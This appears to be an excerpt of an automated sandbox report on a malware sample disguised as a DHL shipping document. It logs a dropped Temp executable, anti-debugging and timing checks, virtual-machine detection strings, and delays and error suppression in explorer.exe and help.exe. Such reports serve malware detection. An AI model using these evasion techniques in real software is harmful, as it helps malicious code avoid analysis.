          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 1_2_00410AA4 push ecx; ret
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00410928 push ebx; retf
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00410933 push ebx; retf
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_0041EA5C push ecx; retf
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_0041AA67 push ebx; retf
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_0040DB29 pushad ; retf
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_0041B4E4 push edi; iretd
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00410CFB push esi; ret
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00401DA0 push eax; ret
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_0041A6D0 push cs; iretd
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_0041A6AC push cs; iretd
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_0040A706 push ds; retf
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_0040CF3E push ebp; iretd
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_0040D7FC push eax; iretd
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_0041B79D push esi; ret
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A7D0D1 push ecx; ret
          Source: C:\Users\user\Desktop\DHL_SHIPPING_DOCUMENT.exeFile created: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeJump to dropped file
          Source: C:\Users\user\Desktop\DHL_SHIPPING_DOCUMENT.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\SysWOW64\help.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
          Source: C:\Windows\SysWOW64\help.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
          Source: C:\Windows\SysWOW64\help.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
          Source: C:\Windows\SysWOW64\help.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
          Source: C:\Windows\SysWOW64\help.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
          Source: C:\Windows\SysWOW64\help.exe TID: 3736Thread sleep time: -52000s >= -30000s
          Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
          Source: C:\Windows\SysWOW64\help.exeLast function: Thread delayed
          Source: C:\Windows\SysWOW64\help.exeLast function: Thread delayed
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A56A60 rdtscp
          Source: C:\Windows\explorer.exeWindow / User API: foregroundWindowGot 881
          Source: C:\Windows\explorer.exeWindow / User API: foregroundWindowGot 867
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeAPI coverage: 9.3 %
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeProcess information queried: ProcessInformation
          Source: C:\Users\user\Desktop\DHL_SHIPPING_DOCUMENT.exeCode function: 0_2_00405D74 CloseHandle,GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,
          Source: C:\Users\user\Desktop\DHL_SHIPPING_DOCUMENT.exeCode function: 0_2_0040699E FindFirstFileW,FindClose,
          Source: C:\Users\user\Desktop\DHL_SHIPPING_DOCUMENT.exeCode function: 0_2_0040290B FindFirstFileW,
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 1_2_004089F8 FindFirstFileExW,
          Source: C:\Users\user\Desktop\DHL_SHIPPING_DOCUMENT.exeAPI call chain: ExitProcess graph end node
          Source: explorer.exe, 00000004.00000003.451856670.000000000830B000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\5&1ec51bf7&0&000000
          Source: explorer.exe, 00000004.00000003.451856670.000000000834F000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\5&280B647&0&0000006
          Source: explorer.exe, 00000004.00000000.329318562.00000000059F0000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}b
          Source: explorer.exe, 00000004.00000000.333026756.0000000008394000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
          Source: explorer.exe, 00000004.00000003.448362246.000000000CDE5000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: _VMware_SATA_CD00#5&
          Source: explorer.exe, 00000004.00000003.573202174.000000000D009000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.447763601.000000000CFFD000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.446800528.000000000CFC9000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.551908862.000000000D009000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllg
          Source: explorer.exe, 00000004.00000003.451856670.000000000830B000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\5&280b647&0&0000000
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 1_2_0040636B IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 1_2_0040B0AF GetProcessHeap,
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A56A60 rdtscp
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeProcess token adjusted: Debug
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A520A0 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A520A0 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A520A0 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A520A0 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A520A0 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A520A0 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A690AF mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A5F0BF mov ecx, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A5F0BF mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A5F0BF mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A29080 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00AA3884 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00AA3884 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A258EC mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00ABB8D0 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00ABB8D0 mov ecx, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00ABB8D0 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00ABB8D0 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00ABB8D0 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00ABB8D0 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A5002D mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A5002D mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A5002D mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A5002D mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A5002D mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A3B02A mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A3B02A mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A3B02A mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A3B02A mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00AF4015 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00AF4015 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00AA7016 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00AA7016 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00AA7016 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00AF1074 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00AE2073 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A40050 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A40050 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A561A0 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A561A0 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00AA69A6 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00AA51BE mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00AA51BE mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00AA51BE mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00AA51BE mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A5A185 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A4C182 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A52990 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A2B1E1 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A2B1E1 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A2B1E1 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00AB41E8 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A44120 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A44120 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A44120 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A44120 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A44120 mov ecx, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A5513A mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A5513A mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A29100 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A29100 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A29100 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A2C962 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A2B171 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A2B171 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A4B944 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A4B944 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A252A5 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A252A5 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A252A5 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A252A5 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A252A5 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A3AAB0 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A3AAB0 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A5FAB0 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A5D294 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A5D294 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A52AE4 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A52ACB mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A64A2C mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A64A2C mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A38A0A mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A25210 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A25210 mov ecx, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A25210 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A25210 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A2AA16 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A2AA16 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A43A1C mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00ADB260 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00ADB260 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00AF8A62 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A6927A mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A29240 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A29240 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A29240 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A29240 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00AEEA55 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00AB4257 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A54BAD mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A54BAD mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A54BAD mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00AF5BA5 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00AE138A mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A31B8F mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A31B8F mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00ADD380 mov ecx, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A52397 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A5B390 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A503E2 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A503E2 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A503E2 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A503E2 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A503E2 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A503E2 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A4DBE9 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00AA53CA mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00AA53CA mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00AE131B mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A2DB60 mov ecx, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A53B7A mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A53B7A mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A2DB40 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00AF8B58 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A2F358 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A3849B mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00AE14FB mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00AA6CF0 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00AA6CF0 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00AA6CF0 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00AF8CD6 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A5BC2C mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00AA6C0A mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00AA6C0A mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00AA6C0A mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00AA6C0A mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00AF740D mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00AF740D mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00AF740D mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00AE1C06 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00AE1C06 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00AE1C06 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00AE1C06 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00AE1C06 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00AE1C06 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00AE1C06 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00AE1C06 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00AE1C06 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00AE1C06 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00AE1C06 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00AE1C06 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00AE1C06 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00AE1C06 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A4746D mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A5A44B mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00ABC450 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00ABC450 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00AF05AC mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00AF05AC mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A535A1 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A51DB5 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A51DB5 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A51DB5 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A52581 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A52581 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exeCode function: 3_2_00A52581 mov eax, dword ptr fs:[00000030h]
